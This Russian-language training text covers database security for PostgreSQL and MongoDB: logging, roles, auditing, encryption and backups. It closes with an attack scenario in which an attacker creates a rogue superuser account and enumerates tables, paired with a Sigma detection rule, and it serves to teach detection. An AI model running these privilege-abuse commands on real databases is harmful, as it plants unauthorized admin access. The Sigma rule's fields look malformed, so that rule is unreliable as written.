Рекомендации по настройке могут различаться в зависимости от типа базы данных (например, PostgreSQL, MySQL, Microsoft SQL Server и т. д.) и версии базы данных. Но общие принципы и рекомендации по настройке обязательно включают в себя:

• Аутентификация и авторизация: права доступа к базе данных должны быть ограничены для каждого пользователя на минимально необходимый уровень, а учетные записи пользователей должны иметь сильные пароли, также по возможности стоит использовать двухфакторную аутентификацию.
• Шифрование: в большинстве СУБД (систем управления базами данных) существуют механизмы встроенного шифрования, которые следует активировать. Помимо этого, необходимо шифровать соединений с базой данных с помощью SSL/TLS.
• Аудит и мониторинг: в базах данных должны быть установлены механизмы мониторинга для отслеживания активности пользователей и обнаружения подозрительных действий, например: создание учетной записи с широкими правами, выполнение очень большого запроса, и т.д. Также рекомендуется проводить регулярный аудит учетных записей на предмет превышения прав.
• Обновления и патчи: регулярно обновляйте базу данных и устанавливайте патчи для закрытия известных уязвимостей.
• Защита от инъекций: применяйте методы предотвращения инъекций, такие как параметризованные запросы и санитаризация входных данных, чтобы предотвратить SQL-инъекции и другие виды атак.
• Реагирование на инциденты безопасности: разработайте план реагирования на инциденты и обучите свой персонал его исполнению в случае возникновения инцидентов.

Логирование и мониторинг запросов в базах данных

Большинство современных СУБД предоставляют возможность вести журнал запросов, записывая все запросы, поступающие к базе данных. Помимо такого "внутреннего" логирования существуют системы мониторинга баз данных. Они могут непрерывно отслеживать активность баз данных, включая выполняемые запросы, количество обращений и нагрузку на систему. Примеры таких систем — Dynatrace, Datadog.

В данном курсе мы рассмотрим прежде всего возможности логирования внутри баз данных. На основании этих логов можно самостоятельно создавать правила SIEM для выявления несанкционированных или подозрительных операций.

Мониторинг запросов в PostgreSQL

Для мониторинга запросов в базах данных PostgreSQL можно использовать различные инструменты и методы. Ниже представлено несколько способов:

1. Журналы PostgreSQL: PostgreSQL записывает информацию о выполненных запросах в журналы ошибок (log_error_verbosity) и журналы запросов (log_statement). Вы можете настроить эти параметры в конфигурационном файле PostgreSQL (например, postgresql.conf) и перезапустить сервер:

   log_statement = 'all' log_destination = 'stderr' logging_collector = on
                     

   После настройки PostgreSQL будет записывать все SQL запросы в указанный в log_destination журнал.

2. Утилита pg_stat_statements: это встроенный модуль PostgreSQL, который отслеживает статистику выполнения SQL запросов. Вы можете включить его в конфигурационном файле PostgreSQL и перезапустить сервер:

   shared_preload_libraries = 'pg_stat_statements' pg_stat_statements.max = 10000 pg_stat_statements.track = all
                     

   Затем можно выполнить запросы к представлению pg_stat_statements для получения информации о наиболее часто выполняемых запросах, их времени выполнения и других метриках.

Пример SQL запроса для просмотра наиболее часто выполняемых запросов и их времени выполнения с использованием pg_stat_statements:

SELECT query, total_time, calls, rows FROM pg_stat_statements ORDER BY total_time DESC LIMIT 10;
                  

Этот запрос покажет 10 наиболее ресурсоемких запросов по времени выполнения, их количество вызовов и количество обработанных строк.

Настройка логирования в PostgreSQL

Настройки логирования возможно изменить в файле postgresql.conf, который обычно располагается в каталоге postgresql.

Как это сделать:

1. Настройте параметры логирования:

   В файле postgresql.conf найдите и отредактируйте следующие параметры:

   • log_statement = 'all': параметр определяет, какие SQL-запросы будут записываться в журнал. Установите его значение на all, чтобы записывать все SQL-запросы.

   • log_connections = on: параметр указывает, нужно ли записывать информацию о подключениях к базе данных в журнал. Установите его значение на on, чтобы записывать информацию о подключениях.

   • log_disconnections = on: параметр указывает, нужно ли записывать информацию о отключениях от базы данных в журнал. Установите его значение на on, чтобы записывать информацию об отключениях.

   • log_duration = on: параметр указывает, нужно ли записывать информацию о продолжительности выполнения SQL-запросов в журнал. Установите его значение на on, чтобы записывать информацию о продолжительности выполнения запросов.

2. Перезапустите PostgreSQL:

   После внесения изменений в файл postgresql.conf перезапустите PostgreSQL для применения новых настроек:

   sudo service postgresql restart

После выполнения этих шагов PostgreSQL будет записывать административные действия, такие как создание ролей и назначение прав доступа, в файл журнала postgresql.log с необходимой детализацией, в соответствии с указанными параметрами.

#------------------------------------------------------------------------------
# FILE LOCATIONS
#------------------------------------------------------------------------------

data_directory = '/var/lib/postgresql/12/main'

#------------------------------------------------------------------------------
# CONNECTIONS AND AUTHENTICATION
#------------------------------------------------------------------------------

listen_addresses = 'localhost'
port = 5432

#------------------------------------------------------------------------------
# RESOURCE USAGE (except WAL)
#------------------------------------------------------------------------------

shared_buffers = 128MB

#------------------------------------------------------------------------------
# WRITE AHEAD LOG
#------------------------------------------------------------------------------

wal_level = replica
archive_mode = on
archive_command = 'cp %p /var/lib/postgresql/12/main/archive/%f'

#------------------------------------------------------------------------------
# QUERY TUNING
#------------------------------------------------------------------------------

max_connections = 100
effective_cache_size = 4GB
work_mem = 64MB

#------------------------------------------------------------------------------
# ERROR REPORTING AND LOGGING
#------------------------------------------------------------------------------

log_destination = 'stderr'
logging_collector = on
log_directory = 'pg_log'
log_filename = 'postgresql-%Y-%m-%d.log'
log_statement = 'all'
log_connections = on
log_disconnections = on
log_duration = on

#------------------------------------------------------------------------------
# SECURITY AND AUTHORIZATION
#------------------------------------------------------------------------------

password_encryption = 'scram-sha-256'

#------------------------------------------------------------------------------
# OTHERS
#------------------------------------------------------------------------------

max_wal_size = 2GB

                  

Типы событий в журнале postgresql.log

Сообщения сервера — информационные сообщения о состоянии сервера, его настройках, запущенных процессах и т. д.:

Сообщения об ошибках, возникающих во время выполнения запросов, операций и т. д.:

Записи о выполняемых SQL-запросах, включая их текст, время выполнения, идентификаторы процессов и т. д.:

Сообщения о подключениях и отключениях к серверу PostgreSQL:

Информация о процессах репликации, восстановлении, синхронизации и т. д., если сервер работает в режиме репликации.

Сообщения о сбоях и восстановлении:

Сообщения о процессах архивации и восстановления:

Сообщения о настройках и изменениях конфигурации:

Рассмотрим подробнее пример файла журнала postgresql.log с включенной опцией log_statement, который записывает в лог все SQL-запросы:

В этом примере каждая строка в файле журнала представляет собой SQL-запрос, который был выполнен в базе данных. Каждая запись начинается с даты и времени события, за которыми следует идентификатор процесса PostgreSQL (23345 в данном случае), уровень журналирования (LOG), и непосредственно сам SQL-запрос.

• Дата и время (2024-03-28 10:00:00.123 UTC): метка времени, когда был выполнен SQL-запрос.
• Идентификатор процесса ([23345]): это уникальный идентификатор процесса PostgreSQL, который выполнял SQL-запрос.
• Уровень журналирования (LOG): указывает на уровень важности сообщения. В данном случае, это просто информационное сообщение.
• SQL-запрос (statement: ...): это сам SQL-запрос, который был выполнен. В примере показаны три различных SQL-запроса: выборка (SELECT), вставка (INSERT) и обновление (UPDATE).

Мониторинг запросов в MongoDB

1. Профилирование MongoDB: MongoDB позволяет включить профилирование, чтобы записывать информацию о выполненных запросах. Это делается с помощью команды db.setProfilingLevel().

   Пример установки уровня профилирования в MongoDB:

   db.setProfilingLevel(1, { slowms: 100 });
                     

   Значение 1 указывает на включение профилирования. Это означает, что MongoDB будет записывать информацию о каждом выполненном запросе.
   { slowms: 100 }: это опциональный параметр, который определяет пороговое значение времени выполнения запроса в миллисекундах, после которого запрос считается "медленным". В данном случае запросы, выполняющиеся дольше 100 миллисекунд, будут считаться медленными и будут записываться в профилировочный журнал.

2. Использование инструментов мониторинга: для мониторинга MongoDB можно использовать различные инструменты, такие как MongoDB Compass, MongoDB Cloud Manager, MongoDB Ops Manager и другие. Они предоставляют дашборды и отчеты о выполненных запросах и производительности сервера MongoDB.

3. db.currentOp(): этот метод позволяет просматривать текущие операции в MongoDB, включая выполняемые запросы.

Просмотр текущих операций в MongoDB

В MongoDB метод db.currentOp() используется для получения списка текущих операций, выполняющихся в базе данных. Этот метод полезен для мониторинга текущей активности и идентификации долго выполняющихся операций или блокировок. Пример вывода после использования db.currentOp():

{
   "inprog" : [
      {
         "opid" : 6146937,
         "active" : true,
         "secs_running" : 5,
         "op" : "query",
         "ns" : "test.collection",
         "command" : {
            "find" : "collection",
            "filter" : {
               "status" : "active"
            },
            "lsid" : {
               "id" : UUID("50cb6696-739b-4db3-806d-31a4365a4e38")
            },
            "$clusterTime" : {
               "clusterTime" : Timestamp(1632785477, 1),
               "signature" : {
                  "hash" : BinData(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAA="),
                  "keyId" : NumberLong(0)
               }
            },
            "originatingCommand" : {
               "find" : "collection",
               "filter" : {
                  "status" : "active"
               },
               "lsid" : {
                  "id" : UUID("50cb6696-739b-4db3-806d-31a4365a4e38")
               },
               "$clusterTime" : {
                  "clusterTime" : Timestamp(1632785477, 1),
                  "signature" : {
                     "hash" : BinData(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAA="),
                     "keyId" : NumberLong(0)
                  }
               },
               "...
         },
         "planSummary" : "COLLSCAN",
         "numYields" : 0,
         "locks" : {
            "ReplicationStateTransition" : {
               "acquireCount" : {
                  "w" : NumberLong(1)
               }
            },
            "Global" : {
               "acquireCount" : {
                  "r" : NumberLong(1)
               }
            },
            "Database" : {
               "acquireCount" : {
                  "r" : NumberLong(1)
               }
            },
            "Collection" : {
               "acquireCount" : {
                  "r" : NumberLong(1)
               }
            }
         },
         "responseLength" : 15825718,
         "protocol" : "op_msg",
         "millis" : 5,
         "execStats" : {

         },
         "ts" : ISODate("2021-09-28T14:11:17.631Z"),
         "client" : "127.0.0.1",
         "appName" : "MongoDB Shell",
         "clientMetadata" : {
            "application" : {
               "name" : "MongoDB Shell"
            },
            "driver" : {
               "name" : "MongoDB Internal Client",
               "version" : "4.4.8"
            },
            "os" : {
               "type" : "Linux",
               "name" : "Ubuntu",
               "architecture" : "x86_64",
               "version" : "20.04"
            }
         },
         "numYields" : 0,
         "locks" : {

         },
         "waitingForLock" : false,
         "awaiting_historical_lock" : false,
         "lockStats" : {
            "ReplicationStateTransition" : {
               "timeLockedMicros" : {
                  "r" : NumberLong(0),
                  "w" : NumberLong(87)
               }
            },
            "Global" : {
               "timeLockedMicros" : {
                  "r" : NumberLong(0),
                  "w" : NumberLong(87)
               }
            },
            "Database" : {
               "timeLockedMicros" : {
                  "r" : NumberLong(0),
                  "w" : NumberLong(87)
               }
            },
            "Collection" : {
               "timeLockedMicros" : {
                  "r" : NumberLong(0),
                  "w" : NumberLong(87)
               }
            }
         }
      }
   ],
   "ok" : 1
}
                  

В примере приведена информация о текущей операции, выполняющейся в MongoDB. Поля в этом логе:

1. opid: Уникальный идентификатор операции (Operation ID).

2. active: Показывает, активна ли операция в данный момент.

3. secs_running: Время, в течение которого операция выполняется, в секундах.

4. op: Тип операции. В данном случае это query, что означает выполнение запроса к базе данных.

5. ns: Пространство имен, в котором выполняется операция. В данном случае запрос выполняется в коллекции test.collection.

6. command: Команда запроса. Здесь показана конкретная команда find для поиска документов в коллекции collection, которые соответствуют фильтру { "status" : "active" }.

7. planSummary: Краткое описание плана выполнения запроса. В данном случае используется коллекционный скан (COLLSCAN), что может указывать на то, что индекс не используется для выполнения запроса.

8. locks: Информация о блокировках, которые удерживает операция. Здесь показаны различные типы блокировок, включая блокировки на уровне глобального объекта, базы данных и коллекции.

9. responseLength: Длина ответа на запрос, в байтах.

10. client: IP-адрес или хост, откуда был отправлен запрос.

11. appName: Имя приложения, которое инициировало запрос. В данном случае это MongoDB Shell.

12. clientMetadata: Дополнительная метаданные о клиенте, включая информацию о драйвере и операционной системе.

13. waitingForLock: Показывает, ожидает ли операция блокировку.

14. awaiting_historical_lock: Показывает, ожидает ли операция историческую блокировку.

15. lockStats: Статистика блокировок для операции, включая время, в течение которого различные типы блокировок были удерживаемыми.

Настройка логирования в MongoDB

В MongoDB настройка логирования осуществляется через файл конфигурации mongod.conf.

1. Настройка параметров логирования:

   В файле mongod.conf найдите и отредактируйте параметры, связанные с логированием:

   • systemLog.destination: Укажите тип журнала, который вы хотите использовать. Например, file для записи в файл или syslog для записи в системный журнал.

   • systemLog.path: Укажите путь к файлу журнала, если вы выбрали тип file.

   • systemLog.logAppend: Если установлено в true, новые записи будут добавляться в конец существующего файла журнала. Если установлено в false, файл будет перезаписываться при каждом запуске.

   • systemLog.verbosity: Укажите уровень журналирования. Например, 0 для минимального уровня (только критические сообщения), 1 для информационных сообщений, 2 для отладочных сообщений и т. д.

2. Перезапустите MongoDB:

   После внесения изменений в файл mongod.conf перезапустите MongoDB для применения новых настроек.

   sudo service mongod restart

# mongod.conf

# Установка каталога данных и журнала
storage:
  dbPath: /var/lib/mongodb
  journal:
    enabled: true

# Установка параметров системного журнала
systemLog:
  destination: file
  logAppend: true
  path: /var/log/mongodb/mongod.log
  verbosity: 1

# Установка параметров сети
net:
  port: 27017
  bindIp: 127.0.0.1

# Настройка параметров безопасности
security:
  authorization: enabled

# Другие параметры конфигурации (необязательно)

                  

Логи MongoDB

В логе mongod.log MongoDB записывает различные типы событий, связанных с работой сервера и его окружения.

Основные типы событий, которые могут присутствовать в журнале mongod.log:

Сообщения о запуске и остановке сервера:

• Сообщения об успешном запуске сервера MongoDB.
• Сообщения о завершении работы сервера при выключении.

Сообщения о подключении и отключении клиентов:

• Информация о новых клиентских подключениях к серверу MongoDB.
• Уведомления об отключении клиентов от сервера.

Сообщения об аутентификации и авторизации:

• Логирование попыток аутентификации пользователей и ролей.
• Уведомления о результате аутентификации (успех или неудача).

Сообщения о выполнении операций:

• Логирование различных операций с данными, таких как запросы на чтение и запись, обновление и удаление документов.
• Информация о долго выполняющихся запросах и запросах, требующих индексов.

Сообщения об ошибках и предупреждениях:

• Логирование различных видов ошибок, возникающих во время работы сервера MongoDB.
• Предупреждения о потенциальных проблемах и нежелательных событиях.

Сообщения о репликации и кластеризации:

• Информация о состоянии репликации и синхронизации данных между узлами кластера.
• Логирование операций репликации, таких как выборы лидера, перенос данных и т. д.

Сообщения о резервном копировании и восстановлении:

• Информация о процессах резервного копирования и восстановления данных.
• Логирование успешных и неудачных операций резервного копирования и восстановления.

Сообщения о настройках и изменениях конфигурации:

• Уведомления о изменениях в конфигурационных файлах сервера MongoDB.
• Информация о перезагрузке сервера в связи с изменениями в конфигурации.

Роли и права пользователей

В реляционных базах данных

Роли пользователей

Суперпользователь (Superuser) — особая роль, которая обладает полными правами на управление базой данных и ее объектами. Суперпользователь может выполнять любые операции с данными, включая создание, изменение и удаление объектов базы данных, а также управление пользователями и их правами.

Пользователь (User) — обычный пользователь базы данных, который имеет ограниченные права на выполнение операций с данными. Пользователи могут иметь доступ только к определенным объектам базы данных и выполнять только определенные операции, в зависимости от их назначенных прав доступа.

Роли безопасности (Security Roles) — являются наборами прав доступа, которые можно назначить одному или нескольким пользователям. Использование ролей позволяет упростить управление правами доступа и обеспечить согласованность безопасности в системе.

Права доступа

Права на объекты — определяют, какие операции разрешены для выполнения с определенными объектами базы данных, такими как таблицы, представления, процедуры и т.д. Типичные права включают SELECT (чтение), INSERT (добавление), UPDATE (обновление), DELETE (удаление) и другие.

Глобальные права — определяют операции, разрешенные для выполнения на уровне базы данных или даже на уровне сервера баз данных в целом. Например, глобальные права могут включать права на создание баз данных, создание пользователей, управление ролями и т.д.

Права на системные объекты — определяют доступ к системным объектам базы данных, таким как системные таблицы и представления, а также каталоги базы данных.

Права на схемы (Schema Privileges) — некоторые СУБД предоставляют возможность управления правами доступа на уровне схем, что позволяет более гибко управлять доступом к группам объектов.

Примеры создания пользователей в PostgreSQL

В PostgreSQL для создания пользователя используется команда CREATE ROLE. Создавать новых пользователей могут пользователями с такими правами:

• CREATE ROLE: эта привилегия дает пользователю возможность создавать новые роли (включая пользователей) в базе данных PostgreSQL. Пользователи, обладающие этой привилегией, могут выполнять команду CREATE ROLE для создания новых пользователей.
• SUPERUSER: пользователь с правами суперпользователя (SUPERUSER) имеет все привилегии в базе данных, включая возможность создавать новых пользователей и назначать им любые права доступа.

Рассмотрим примеры создания пользователей с различными уровнями привилегий:

Создание суперпользователя

Этот запрос создает нового суперпользователя с именем superuser и устанавливает пароль password. Суперпользователь имеет полный доступ ко всем объектам базы данных и может выполнять любые операции.

Как это будет выглядеть в логе:

Создание пользователя с ограниченными привилегиями

Этот запрос создает нового пользователя с именем limited_user, устанавливает ему пароль password и устанавливает срок его действия до 31 декабря 2025 года. Затем с помощью команды GRANT предоставляются ограниченные привилегии на чтение (SELECT) для всех таблиц в схеме public.

Как это будет выглядеть в логе:

Создание роли с административными привилегиями

Этот запрос создает новую роль admin_role, которая имеет право создавать другие роли и базы данных. Роль с административными привилегиями может быть использована для управления пользователями и базами данных в системе.

Как это будет выглядеть в логе:

Аудит учетных записей

Относительно SQL-команд повышенные права должны иметь только суперпользователи. Обычные пользователи PostgreSQL не должны обладать возможностью создавать роли, создавать новые базы данных, управлять репликацией или выполнять любое другое действие, считающееся привилегированным. Обычным пользователям должен предоставляться только минимальный набор привилегий, соответствующий управлению приложением:

• DDL (Data definition language - создание таблиц, создание представлений, создание индексов и т. д.);
• DML (Data Manipulation Language - select, insert, update, delete).

Также считается хорошей практикой создавать отдельные роли для DDL и DML. Для приложения с названием "payroll" были бы созданы следующие пользователи:

• payroll_owner;
• payroll_user.

Любые привилегии DDL предоставляются только учетной записи payroll_owner, в то время как привилегии DML предоставляются только учетной записи payroll_user. Это предотвращает случайное создание/изменение/удаление объектов базы данных кодом приложения, который выполняется от имени учетной записи payroll_user.

Таким образом, не ограничивая глобальные административные команды только суперпользователями, обычные пользователи, которым предоставлены избыточные привилегии, могут выполнять административные команды с неожиданными и нежелательными результатами.

В процессе аудита сначала необходимо проверить привилегии, предоставленные суперпользователю базы данных (определенному здесь как postgres), используя команду отображения psql -c "\du postgres", чтобы установить базовую линию для предоставленных административных привилегий. На основе примера ниже, суперпользователь postgres может создавать роли, создавать базы данных, управлять репликацией и обходить уровни безопасности строк (RLS -  Row Level Security):

Теперь проверим ту же информацию для обычного пользователя с именем appuser с помощью команды отображения psql -c "\du appuser". Вывод подтверждает, что обычный пользователь appuser имеет те же повышенные привилегии, что и системный администратор пользователь postgres, так быть не должно:

Этот пример показывает, что одному пользователю были присвоены излишние административные права, однако в процессе аудита нужно провести полный анализ всех пользователей базы данных, чтобы убедиться, что у них нет избыточных прав. Это можно сделать с помощью следующих команд:

Если каким-либо обычным пользователям были предоставлены избыточные права, их следует немедленно отозвать с помощью команды SQL ALTER ROLE. Используя тот же пример выше, следующие команды отзывают все ненужные повышенные права у обычного пользователя appuser:

После выполненных действий нужно проверить новые права у пользователя appuser:

Роли и права пользователей в NoSQL базах

В NoSQL базах данных, в отличие от реляционных, роли и права пользователей могут быть менее формализованными и разнообразными. Однако, в большинстве NoSQL СУБД все еще существуют концепции управления доступом.

Аутентификация и авторизация — пользователи могут аутентифицироваться с помощью учетных данных (например, имя пользователя и пароль) или с использованием механизмов аутентификации на основе ключей. После успешной аутентификации пользователь авторизуется для доступа к данным в соответствии с их правами доступа.

Роли —  в NoSQL базах данных также существуют концепции ролей, которые могут группировать пользователей и предоставлять им схожие права доступа. Роли могут использоваться для упрощения управления правами доступа и обеспечения согласованности безопасности в системе.

Права доступа — пользователи или роли могут быть наделены различными правами доступа к данным.
Эти права могут включать операции чтения, записи, обновления, удаления и т. д. В зависимости от конкретной NoSQL базы данных, могут также поддерживаться различные уровни гранулярности прав доступа к отдельным объектам данных.

Основные права доступа в MongoDB

• read: позволяет пользователю выполнять операции чтения данных из коллекции.
• readWrite: предоставляет пользователю права на выполнение операций чтения и записи данных в коллекцию.
• dbAdmin: позволяет пользователю управлять базой данных, включая создание и удаление коллекций, просмотр статистики базы данных и т. д.
• dbOwner: предоставляет пользователю полные права доступа ко всем объектам базы данных, включая управление пользователями и ролями.
• userAdmin: позволяет пользователю управлять пользователями и ролями в базе данных, включая создание и удаление пользователей и ролей.
• clusterAdmin: предоставляет пользователю права на управление кластером MongoDB, включая управление репликацией, шардингом и администрирование кластера.
• backup: позволяет пользователю выполнять резервное копирование базы данных MongoDB.
• restore: предоставляет пользователю права на восстановление данных из резервной копии базы данных MongoDB.
• backupAdmin: позволяет пользователю управлять процессом резервного копирования базы данных MongoDB, включая управление точками сохранения и другими аспектами резервного копирования.

Управление доступом на уровне коллекций/таблиц - во многих NoSQL базах данных можно настраивать права доступа на уровне отдельных коллекций (в MongoDB) или таблиц (в Cassandra). Это позволяет точечно контролировать доступ к конкретным наборам данных в базе данных.

Управление доступом на уровне полей - некоторые NoSQL базы данных также поддерживают гранулярное управление доступом на уровне отдельных полей в документах (например, в MongoDB).

Пример создания пользователя в MongoDB

use mydatabase;

// Создание пользователя с правами чтения и записи для определенной коллекции
db.createUser({
  user: "user1",
  pwd: "password1",
  roles: [
    { role: "readWrite", db: "mydatabase" }
  ]
});

// Создание пользователя с административными правами для базы данных
db.createUser({
  user: "adminUser",
  pwd: "adminPassword",
  roles: [
    { role: "dbAdmin", db: "mydatabase" },
    { role: "userAdmin", db: "mydatabase" }
  ]
});

// Создание пользователя с правами на выполнение резервного копирования и восстановления
db.createUser({
  user: "backupUser",
  pwd: "backupPassword",
  roles: [
    { role: "backup", db: "mydatabase" },
    { role: "restore", db: "mydatabase" }
  ]
});

                  

События создания пользователей в журнале MongoDB mongod.log могут выглядеть следующим образом:

Поля в логе:

• Дата и время (2024-03-28T12:34:56.789+0000): Метка времени события.
• Уровень журналирования (I ACCESS): Уровень важности сообщения.
• Идентификатор соединения ([conn123]): Идентификатор соединения, в рамках которого была создана запись.
• Сообщение (Successfully added user): Описание события.
• Детали ({ "user" : "user1", "roles" : [...] }): Дополнительная информация о созданном пользователе, включая его имя пользователя (user) и назначенные ему роли (roles).
• Эти записи в журнале сообщают об успешном создании пользователей и предоставлении им соответствующих прав доступа. 

Использование шифрования

Настройка шифрования в PostgreSQL

В PostgreSQL шифрование данных можно настроить с использованием различных методов, таких как шифрование на уровне приложения, шифрование на уровне столбцов и шифрование на уровне хранения данных. Ниже представлен обзор этих методов:

1. Шифрование на уровне приложения: этот метод предполагает, что данные шифруются на стороне приложения перед тем, как они попадут в базу данных. Приложение самостоятельно обрабатывает шифрование и дешифрование данных перед сохранением их в базе данных или после извлечения из базы данных. Это обеспечивает контроль над процессом шифрования, но требует изменений в коде приложения.

2. Шифрование на уровне столбцов: PostgreSQL поддерживает шифрование данных на уровне столбцов с помощью модуля расширения pgcrypto. С использованием этого метода вы можете шифровать конкретные столбцы таблицы, оставляя остальные данные в открытом виде. Преимущество этого метода в том, что шифрование и дешифрование данных происходят автоматически на уровне базы данных, что делает его более удобным для применения.

3. Шифрование на уровне хранения данных: этот метод предполагает использование шифрования на уровне хранения данных, когда все данные в базе данных шифруются целиком. PostgreSQL поддерживает шифрование на уровне хранения данных с помощью различных инструментов, таких как Transparent Data Encryption (TDE), который может быть реализован с помощью сторонних расширений или управляемых служб.

Для конфигурации шифрования на уровне столбцов в PostgreSQL с помощью pgcrypto можно использовать следующие шаги:

1. Установите расширение pgcrypto:

CREATE EXTENSION pgcrypto;
                  

2. Создайте таблицу с зашифрованными столбцами:

CREATE TABLE my_table ( id SERIAL PRIMARY KEY, sensitive_data BYTEA ); -- Шифруйте данные перед вставкой в таблицу
INSERT INTO my_table (sensitive_data) VALUES (pgp_sym_encrypt('my sensitive data', 'secret_key'));
                  

3. Дешифруйте данные при их извлечении из таблицы:

-- Извлеките зашифрованные данные и дешифруйте их
SELECT pgp_sym_decrypt(sensitive_data, 'secret_key') AS sensitive_data FROM my_table;
                  

Для работы с зашифрованными данными в базе данных пользователю обычно требуются следующие права доступа:

Доступ к зашифрованным данным: пользователь должен иметь права на выполнение операций чтения, записи, обновления и удаления данных в зашифрованных таблицах или столбцах. Это обеспечивает пользователю возможность взаимодействовать с данными в базе данных, независимо от их шифрования

GRANT SELECT, INSERT, UPDATE, DELETE ON TABLE encrypted_table TO user_name;
                  

Доступ к ключам шифрования: в некоторых случаях пользователю может потребоваться доступ к ключам шифрования, если он выполняет операции, которые требуют расшифровки данных. Однако доступ к ключам шифрования обычно ограничивается только администраторам базы данных или другим уполномоченным лицам, чтобы предотвратить несанкционированный доступ к ключам.

GRANT EXECUTE ON FUNCTION encrypt_function(text) TO user_name;
GRANT EXECUTE ON FUNCTION decrypt_function(text) TO user_name;
                  

Доступ к функциям и процедурам: если в базе данных используются функции или процедуры для работы с зашифрованными данными (например, для шифрования или расшифровки), пользователю может потребоваться доступ к этим функциям или процедурам.

GRANT EXECUTE ON FUNCTION encryption_function(parameters) TO user_name;
                  

Доступ к управлению ключами шифрования (необязательно): в некоторых случаях пользователь может быть уполномочен на управление ключами шифрования или их генерацию. Это может потребоваться, например, при создании новых зашифрованных столбцов или при установке новых ключей шифрования.

GRANT CREATE ON SCHEMA encryption_schema TO user_name;
                  

Настройка шифрования в MongoDB

Для настройки шифрования данных в MongoDB вам необходимо выполнить ряд шагов, включая создание ключей шифрования, настройку ключевого провайдера, включение шифрования данных и настройку транспортного шифрования.

1. Создание ключей шифрования:

   Пример создания ключей шифрования с использованием mongocryptd:

   mongocryptd --fork --dbpath /var/lib/mongocryptd
                     

2. Настройка ключевого провайдера:

   mongosh use admin db.createCollection("keys") db.keys.insertOne({ "key": "<master_key>" })
                     

3. Включение шифрования данных:

   Включение шифрования данных при запуске сервера MongoDB:

   mongod --enableEncryption --encryptionKeyFile /path/to/encryption.key
                     

4. Включение транспортного шифрования:

   Пример настройки SSL/TLS для транспортного шифрования:

   net: ssl: mode: "requireSSL" PEMKeyFile: "/path/to/server.pem" CAFile: "/path/to/ca.pem"

Резервное копирование

Резервное копирование в PostgreSQL

Для настройки резервного копирования в PostgreSQL вы можете использовать инструменты резервного копирования, такие как pg_dump и pg_dumpall, а также встроенную функциональность PostgreSQL для создания резервных копий и восстановления данных. Ниже шаги, которые обычно выполняются для настройки резервного копирования:

1. Использование pg_dump для создания резервной копии базы данных:

   • Используйте команду pg_dump для создания текстовых файлов SQL, содержащих структуру базы данных и данные.
   • Пример команды для создания резервной копии базы данных:

     pg_dump -U username dbname > backup.sql
                       

2. Использование pg_dumpall для создания резервной копии всех баз данных:

   • Команда pg_dumpall позволяет создавать резервные копии всех баз данных, доступных для указанного пользователя.
   • Пример команды для создания резервной копии всех баз данных:

     pg_dumpall -U username > backup.sql
                       

Резервное копирование в MongoDB

Для настройки резервного копирования в MongoDB можно использовать инструменты резервного копирования, такие как mongodump, а также сторонние инструменты управления резервными копиями, например, MongoDB Atlas Backup или другие инструменты для автоматизации и управления резервным копированием. Ниже настройка резервного копирования в MongoDB с использованием mongodump:

1. Использование mongodump для создания резервных копий:

   • Пример команды для создания резервной копии всех баз данных MongoDB:

     mongodump --host <hostname> --port <port> --username <username> --password <password> --out <backup_directory>
                       

     Эта команда использует подключение к MongoDB с указанными параметрами (хост, порт, имя пользователя, пароль) и сохраняет резервную копию в указанном каталоге.

Общие рекомендации:

1. Автоматизация резервного копирования:

   • Для регулярного создания резервных копий вы можете использовать утилиты планировщика задач, такие как cron в UNIX-подобных системах или Task Scheduler в Windows.
   • Создайте скрипт, который будет выполнять команду резервного копирования с необходимыми параметрами, а затем настройте его выполнение по расписанию с помощью утилиты планировщика задач.

2. Хранение резервных копий:

   • Убедитесь, что резервные копии хранятся в безопасном месте, доступном только авторизованным пользователям.
   • Рассмотрите возможность хранения резервных копий в облачном хранилище или на отдельном сервере с репликацией данных для обеспечения долгосрочного хранения и защиты от потери данных.

3. Тестирование восстановления:

   • Регулярно проверяйте процесс восстановления данных из резервной копии, чтобы убедиться, что он работает правильно, и данные могут быть восстановлены в случае чрезвычайной ситуации.

Сценарий атаки

На примере PostgreSQL

Рассмотрим сценарий, при котором злоумышленник уже имеет доступ к учетной записи с правом CREATE ROLE . Пользователь с правом CREATE ROLE в PostgreSQL может создать другого пользователя и назначить ему права на редактирование/удаление/просмотр всех таблиц в базе данных.

1. Создание нового пользователя: Пользователь с правом CREATE ROLE может создать нового пользователя с помощью команды CREATE ROLE и назначить ему необходимые права доступа.

   CREATE ROLE coolhecker LOGIN PASSWORD 'password';
                     

2. Назначение прав доступа: чтобы дать новой учетной записи права на редактирование таблиц в БД, ему можно дать роль SUPERUSER

   ALTER ROLE coolhecker WITH SUPERUSER;
                     

   Или можно назначить отдельные привилегии для пользователя, указав необходимые права доступа, например:

   GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO coolhecker;
                     

   Этот запрос предоставит пользователю coolhecker права на просмотр, вставку, обновление и удаление данных из всех таблиц в схеме public.

Как это будет видно в логе:

В первой записи выполняется команда CREATE ROLE, создающая нового пользователя с именем coolhecker и паролем ehehehehe. Во второй записи выполняется команда ALTER ROLE, назначающая пользователю coolhecker права SUPERUSER.

Важно! Для того чтобы увидеть эти записи в логе, необходимо настроить журналирование в соответствии с требуемым уровнем детализации и включить запись административных действий в лог.

Уже на этом этапе злоумышленника можно остановить, если вовремя среагировать на событие создания пользователя с ролью superuser. Как может выглядеть правило sigma для обнаружения такого события:

title: Обнаружение создания суперпользователя в PostgreSQL
id: postgresql_create_superuser
status: experimental
description: Обнаружение операции создания пользователя с ролью суперпользователя в PostgreSQL.
author: [Your Name]
date: 2024-03-31
logsource:
  product: postgresql
detection:
  selection:
    crosstheme1.username: ["!~^(?:postgres)$"]  # Исключаем создание роли "postgres"
    crosstheme1.statement: ["CREATE ROLE%", "%SUPERUSER%"]
  condition: selection
fields:
  - username
  - statement
falsepositives:
  - Легитимные операции создания пользователей с правами суперпользователя, произведенные администраторами.
level: high

                  

Предположим, что злоумышленника никто не остановил и он идет дальше. Какие операции он может выполнить:

Зайти в БД под созданной учетной записью

В логе такое событие будет выглядеть так:

Вывод перечня таблиц в базе данных

SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
                  

Этот запрос выбирает все имена таблиц из схемы public в базе данных.

Как это будет выглядеть в логе:

Вывод названий столбцов для одной из таблиц

Допустим, у нас есть таблица users, и злоумышленник хочет увидеть названия ее столбцов.

SELECT column_name FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'users';
                  

Этот запрос выбирает все имена столбцов для таблицы users из схемы public в базе данных.

Как это будет выглядеть в логе:

